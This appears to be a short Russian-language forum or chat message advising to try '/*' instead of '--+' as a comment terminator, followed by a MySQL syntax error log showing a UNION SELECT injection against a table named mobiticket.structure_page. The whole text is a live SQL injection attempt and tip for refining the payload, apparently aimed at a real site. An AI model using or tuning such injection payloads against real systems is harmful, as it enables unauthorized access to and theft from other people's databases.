Попробуй /* вместо --+

SQL query SELECT * FROM mobiticket.structure_page WHERE tag = '53' union select 1,2,3,4,5,6,7,8,9,10/*' AND status = 'active' failed with error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' AND status = 'active'' at line 4